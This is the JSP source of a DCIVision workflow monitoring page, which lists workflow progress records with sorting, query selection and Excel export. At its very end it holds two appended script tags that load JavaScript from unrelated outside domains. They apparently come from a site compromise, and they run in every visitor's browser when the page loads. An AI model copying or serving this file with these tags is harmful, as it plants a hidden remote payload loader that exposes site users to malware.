<%
/*
 * @(#)ListWorkflowMonitoring.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListWorkflowMonitoring.jsp

  This is a ListWorkflowMonitoring page.  It shows the active workflow progress pending for the user to finish in EIP.

    @author             Angus Shiu
    @company            DCIVision Ltd
    @creation date      18/12/2003
    @version            $Revision: 1.62.4.18 $
*/

%>
<%try {%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="java.sql.*" %>



<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowMonitoringForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowMonitoringForm"/>

<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String      LIST_NAME = "workflowMonitoringList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"workflow.columnheader.priority", "A.PROGRESS_PRIORITY"},
                            {"workflow.columnheader.flag_status", "STATUS"},
                            {"workflow.columnheader.track_id", "TRACK_ID"},
                            {"workflow.columnheader.workflow_code", "C.WORKFLOW_CODE,C.WORKFLOW_VERSION"},
                            {"workflow.columnheader.step_name", "B.STEP_NAME,B.STEP_SEQ"},
                            {"workflow.columnheader.status", "STATUS"}, 
                            {"workflow.columnheader.complete_flag", "COMPLETE_FLAG"},
                            {"workflow.columnheader.arrival_date", "CREATE_DATE"},
                            {"workflow.columnheader.due_date", GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"workflow.columnheader.submitter", "U.FULL_NAME"},
                            {"workflow.columnheader.assigned_to_action_tacker", GlobalConstant.NOT_AVAILABLE}
                          };
  String[][]  ICON_MAP = {{"workflow.columnheader.priority", "IconPriority.gif"},
		                  {"workflow.columnheader.flag_status", "IconGreyFlag.gif"}};

  String[][] SEARCH_MAP = { {"workflow.columnheader.track_id", "A.TRACK_ID"},
                            {"workflow.columnheader.workflow_code", "C.WORKFLOW_CODE"},
                            {"workflow.columnheader.category", "D.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.description", "C.DESCRIPTION"}
                          };
 
  int     COLUMN_OFFSET = 0;
  String[][] CALENDAR_NAME_MAP = { {"Year", ListWorkflowMonitoringForm.CALENDAR_TIME_TYPE_YEAR},
                                   {"Month", ListWorkflowMonitoringForm.CALENDAR_TIME_TYPE_MONTH},
                                   {"Day", ListWorkflowMonitoringForm.CALENDAR_TIME_TYPE_DAY} 
                                 };
  List queryRecordList = (List)request.getAttribute("wfQueryRecordList");
  String[][] queryRecordStr= new String[queryRecordList.size()+1][2];
  queryRecordStr[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
  queryRecordStr[0][1] = "";
  for (int i=0; i<queryRecordList.size(); i++) {
    WorkflowQueryRecord currentQueryRecord = (WorkflowQueryRecord)queryRecordList.get(i);
    queryRecordStr[i+1][0] = currentQueryRecord.getQueryName();
    queryRecordStr[i+1][1] = currentQueryRecord.getID().toString();
  }

  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/

  WorkflowGroup currentGroup = (WorkflowGroup)request.getAttribute("workflowGroup");
  String returnURL = "ListWorkflowMonitoringGroup.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
%>
<script language="JavaScript">
<!--


function CusOpList(frm,par1,par2) {
  document.listWorkflowMonitoringForm.generateExcel.value = "";
  document.listWorkflowMonitoringForm.generateAllExcel.value = "";
  document.listWorkflowMonitoringForm.excelPageOffset.value = "";
  document.listWorkflowMonitoringForm.workflowGroupID.value = "";
  return OpList(frm,par1,par2);
}

function CusOpListReset(){
  document.listWorkflowMonitoringForm.generateExcel.value = "";
  document.listWorkflowMonitoringForm.generateAllExcel.value = "";
  document.listWorkflowMonitoringForm.excelPageOffset.value = "";
  document.listWorkflowMonitoringForm.queryID.selectedIndex=-1;
  OpListReset(document.listWorkflowMonitoringForm);
}

function CusExcelOpList(frm,par1,par2) {
  if(document.listWorkflowMonitoringForm.selectPager){
    document.listWorkflowMonitoringForm.excelPageOffset.value = document.listWorkflowMonitoringForm.selectPager.value;
  }
  document.listWorkflowMonitoringForm.generateExcel.value = "G";
  document.listWorkflowMonitoringForm.generateAllExcel.value = "";
  return OpList(frm,par1,par2);
}

function clearGenerateExcel(){
  document.listWorkflowMonitoringForm.generateExcel.value = "";
  document.listWorkflowMonitoringForm.generateAllExcel.value = "";
  document.listWorkflowMonitoringForm.excelPageOffset.value = "";
  return false;
}

function CusAllExcelOpList(frm,par1,par2) {
  document.listWorkflowMonitoringForm.generateExcel.value = "G";
  document.listWorkflowMonitoringForm.generateAllExcel.value = "<%=GlobalConstant.TRUE%>";
  return OpList(frm,par1,par2);
}

//popup EditWorkflowQueryRecord.jsp window

function getQueryRecord(queryID){
  document.listWorkflowMonitoringForm.generateExcel.value = "";
  document.listWorkflowMonitoringForm.generateAllExcel.value = "";
  document.listWorkflowMonitoringForm.excelPageOffset.value = "";
  document.listWorkflowMonitoringForm.queryID.value=queryID;
  document.listWorkflowMonitoringForm.opMode.value="QUERY.OPTION";
  document.listWorkflowMonitoringForm.submit();
  return(false);
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowMonitoring" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="workflowGroupID"/>
<html:hidden property="queryName"/>
<html:hidden property="queryDescription"/>
<html:hidden property="queryType"/>
<input type=hidden name="generateExcel" >
<input type=hidden name="generateAllExcel" >
<input type=hidden name="excelPageOffset">
<html:hidden property="priority"/>
<html:hidden property="status"/>
<html:hidden property="workflowCategoryID"/>
<html:hidden property="taskType"/>
<html:hidden property="workflowRecordID"/>
<html:hidden property="submitter"/>
<html:hidden property="actionTaker"/>
<html:hidden property="datePeriodFrom"/>
<html:hidden property="datePeriodTo"/>
<html:hidden property="trackID"/>
<html:hidden property="stepName"/>
<html:hidden property="workflowDescription"/>
<html:hidden property="relatedObject"/>
<html:hidden property="attachmentName"/>
<html:hidden property="taskComment"/>
<html:hidden property="periodTimeType"/>
<html:hidden property="periodTimes"/>
<html:hidden property="periodType"/>
<html:hidden property='basicSearchField'/>
<html:hidden property='basicSearchKeyword'/>
<!--<html:hidden property="stageName"/>-->

<!-- Page Title Section Begin -->
<!-- TODO: Page Title -->
<%--
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/> <%=Utility.isEmpty(currentGroup)? "" : "[" + currentGroup.getGroupName() + "]"%></font>
<layout:returnButton>
ListWorkflowMonitoringGroup.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%>
</layout:returnButton>
</layout:titleFormat>--%>
<!-- Page Title Section End -->
<div id='topButtonArea'>
  <div id='buttonSection' class="buttonContainer">
        <html:standardButton onClick="return edit();" label="workflow.label.edit_criteria"/>
  </div>
</div>

<layout:listBar>
  <div class="button">
    <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    <html:colheaderButton label="workflow.label.export_current_page" onClick="CusExcelOpList(listWorkflowMonitoringForm, '${listWorkflowMonitoringForm.sortAttribute}', '${listWorkflowMonitoringForm.sortOrder}');clearGenerateExcel();"/>
    <html:colheaderButton label="workflow.label.export_full_list" onClick="CusAllExcelOpList(listWorkflowMonitoringForm, '${listWorkflowMonitoringForm.sortAttribute}', '${listWorkflowMonitoringForm.sortOrder}');clearGenerateExcel();"/>
  </div>
  <div class="select">
        <bean:message key='common.permission.label_SH'/>:
        <% String onchangeFunction = "";%>
      <html:select property='queryID' onchange="return(CusOpList(listWorkflowMonitoringForm, 'A.TRACK_ID,A.CREATE_DATE', 'DESC'))">
        <html:options stringArray='<%=queryRecordStr%>' convertLabel='false' hasSelect='false' />
      </html:select>
    </div>
    </layout:listBar>

<SCRIPT language='javascript'>
      <!--
      function edit(){
        var frm;
        for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
        }
        document.listWorkflowMonitoringForm.generateExcel.value="";
        frm.elements['navMode'].value = "E";
        frm.elements['queryID'].value = "<bean:write name='listWorkflowMonitoringForm' property='queryID' replace=''/>";
        frm.elements['workflowGroupID'].value = "<bean:write name='listWorkflowMonitoringForm' property='workflowGroupID'/>";
        
        frm.submit();
        
      }
      
      //popup EditWorkflowQueryRecord.jsp window
      function opSaveQuery(){
        var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
        var sPopupPath = 'ListWorkflowMonitoring.do';
        var frm;
        var width = 600;
        var height = 240;
        var oldTarget = "";
        var oldAction= "";
        
        document.listWorkflowMonitoringForm.generateExcel.value = "E";
        var windowName = "DCIVisionPopupQuery";
        
        for (var i = 0; i < document.forms.length; i++) {
          if (document.forms[i].name != "") {
            frm = document.forms[i];
            break;
          }
        }
        oldTarget = frm.target;
        oldAction = frm.action;
        OpenCenteredPopup('about:blank', windowName, width, height, sOptions);
        frm.target = windowName;
        frm.action="ListWorkflowMonitoring.do?SHOW_HEADER_FOOTER=N";
        frm.submit();
        frm.target = oldTarget;
        frm.action = oldAction;
        document.listWorkflowMonitoringForm.generateExcel.value="";
        return(false);
        
      }
      -->
      </SCRIPT>

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listWorkflowMonitoringForm" labelMap="<%=LABEL_MAP%>" iconMap='<%=ICON_MAP%>' sortAttribute="<%=listWorkflowMonitoringForm.getSortAttribute()%>" sortOrder="<%=listWorkflowMonitoringForm.getSortOrder()%>" checkColumn='false' editColumn='false' copyColumn='false'/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="workflowProgress" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
    <bean:define id='status' name='workflowProgress' property='status' type='java.lang.String'/>
    <bean:define id='priority' name='workflowProgress' property='progressPriority' type='java.lang.String'/>
  <% if (((WorkflowProgress)workflowProgress).getDueDate()==null) { %>
  <tr bgcolor="#FFFFFF">
  <% }else if ( ((WorkflowProgress)workflowProgress).isDelay() ) { %>
  <tr bgcolor="#FFE5FA">
  <% } else { %>
  <tr bgcolor="#E5FFEA">
  <% } %>
    
    <!-- Workflow Progress Priority Begin -->
    <td><wfm:priority workflowProgress='<%=(WorkflowProgress)workflowProgress%>'/>
    </td>
    <td valign="top" class="flagColumn">
    <% if (WorkflowProgress.STATUS_IN_PROGRESS.equals(((WorkflowProgress)workflowProgress).getStatus()) ){ %>
    <wfm:statusFlag workflowProgress='<%=(WorkflowProgress)workflowProgress%>' inProgressIcon='IconRedFlag.gif' completedIcon='IconGreyFlag.gif'/></td>
    <%} %>
    <!-- Workflow Progress Priority End -->
    <td align="center">
      <a href="MaintWorkflowMonitoring.do?navMode=V&trackID=<bean:write name='workflowProgress' property='trackID'/>&workflowProgressID=<bean:write name='workflowProgress' property='ID'/>&ID=<bean:write name='workflowProgress' property='workflowRecordID'/>&workflowGroupID=<bean:write name='listWorkflowMonitoringForm' property='workflowGroupID'/>" style="color:#0000FF;"><b><%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), ((WorkflowProgress)workflowProgress).getTrackID() )%></b></a>
    </td>
    <td><bean:write name='workflowProgress' property='workflowCode'/> - <bean:write name='workflowProgress' property='workflowVersion'/></td>  
    <td><wfm:stepInfo workflowProgress="<%=(WorkflowProgress)workflowProgress%>"/></td>
    <!-- Workflow Progress Status Begin -->
    <td valign="top" class="flagColumn">
      <!-- The status is "Submitted"-->
  	  <%if (WorkflowProgress.STATUS_SUBMIT.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
  	    <bean:message key='workflow.label.step_status_S'/>
  	  <%}%>
  	  
  	  <!-- The status is "Approved"-->
  	  <%if (WorkflowProgress.STATUS_APPROVE.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
  	    <bean:message key='workflow.label.step_status_A'/>
  	  <%}%>
  	  
  	  <!-- The status is "Rejected"-->
  	  <%if (WorkflowProgress.STATUS_REJECT.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
  	    <bean:message key='workflow.label.step_status_R'/>
  	  <%}%>
  	  
  	  <!-- The status is "Selected Yes"-->
  	  <%if (WorkflowProgress.STATUS_YES.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
 	      <bean:message key='workflow.label.step_status_T'/>
 	    <%}%>
 	    
 	    <!-- The status is "Selected No"-->
 	    <%if (WorkflowProgress.STATUS_NO.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
	      <bean:message key='workflow.label.step_status_F'/>
	    <%}%>
    
      <!-- The status is "Pending"-->
    	<%if (WorkflowProgress.STATUS_PENDING.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_P'/>
    	<%}%>
    	
    	<!-- The status is "Completed"-->
    	<%if (WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_U'/>
    	<%}%>
    	
    	<!-- The status is "Overdued"-->
    	<%if (WorkflowProgress.STATUS_NO_RESPONSE.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_N'/>
    	<%}%>
    	
    	<!-- The status is "Cancelled"-->
    	<%if (WorkflowProgress.STATUS_CANCEL.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_C'/>
    	<%}%>
    	
    	<!-- The status is "In Progress"-->
    	<%if (WorkflowProgress.STATUS_IN_PROGRESS.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_I'/>
    	<%}%>
    	
    	<!-- The status is "In Post Progress"-->
    	<%if (WorkflowProgress.STATUS_POST_PROGRESS.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_H'/>
    	<%}%>
    	
    	<!-- The status is "Rolled Back"-->
    	<%if (WorkflowProgress.STATUS_ROLLBACK.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_B'/>
    	<%}%>
    	
    	<!-- The status is "Revoked"-->
    	<%if (WorkflowProgress.STATUS_REVOKE.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_V'/>
    	<%}%>
    	
    	<!-- The status is "Skipped"-->
    	<%if (WorkflowProgress.STATUS_SKIP.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_K'/>
    	<%}%>
    	
    	<!-- The status is "Locked"-->
    	<%if (WorkflowProgress.STATUS_LOCK.equals(((WorkflowProgress)workflowProgress).getStatus()) ){%>
    	  <bean:message key='workflow.label.step_status_L'/>
    	<%}%>
    	
    </td>
    <!-- Workflow Progress Status End -->
    <td valign="top">
    <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.TRUE%>'>
    <bean:message key='workflow.label.step_status_T'/>
    </logic:equal>
    <logic:equal name='workflowProgress' property='completeFlag' value='<%=GlobalConstant.FALSE%>'>
    <bean:message key='workflow.label.step_status_F'/>
    </logic:equal>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='workflowProgress' property='createDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td><wfm:dueDate status='<%=((WorkflowProgress)workflowProgress).getStatus()%>' dueDate='<%=((WorkflowProgress)workflowProgress).getDueDate()%>'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='workflowProgress' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td><bean:write name='workflowProgress' property='submitter'/></td>
    <td class="bodyVerySmall">
    <% if (!WorkflowProgress.STATUS_PENDING.equals(((WorkflowProgress)workflowProgress).getStatus())) {
     %>
    	   <wfm:actionTaker workflowProgress='<%=(WorkflowProgress)workflowProgress%>' />
     <%} else { %>
        <wfm:ownerInfo stepID="<%=((WorkflowProgress)workflowProgress).getWorkflowStepID()%>" userActorList="<%=((WorkflowProgress)workflowProgress).getUserActorList()%>" showEmail="true"/>
     <%}%>
    </td>
  </tr>
  </logic:iterate>
   </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listWorkflowMonitoringForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->
<!-- Table Showing Record List End -->
</html:form>
<%}
    catch (Exception e) {
      LogFactory.getLog(this.getClass()).error(e, e);
    }%>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>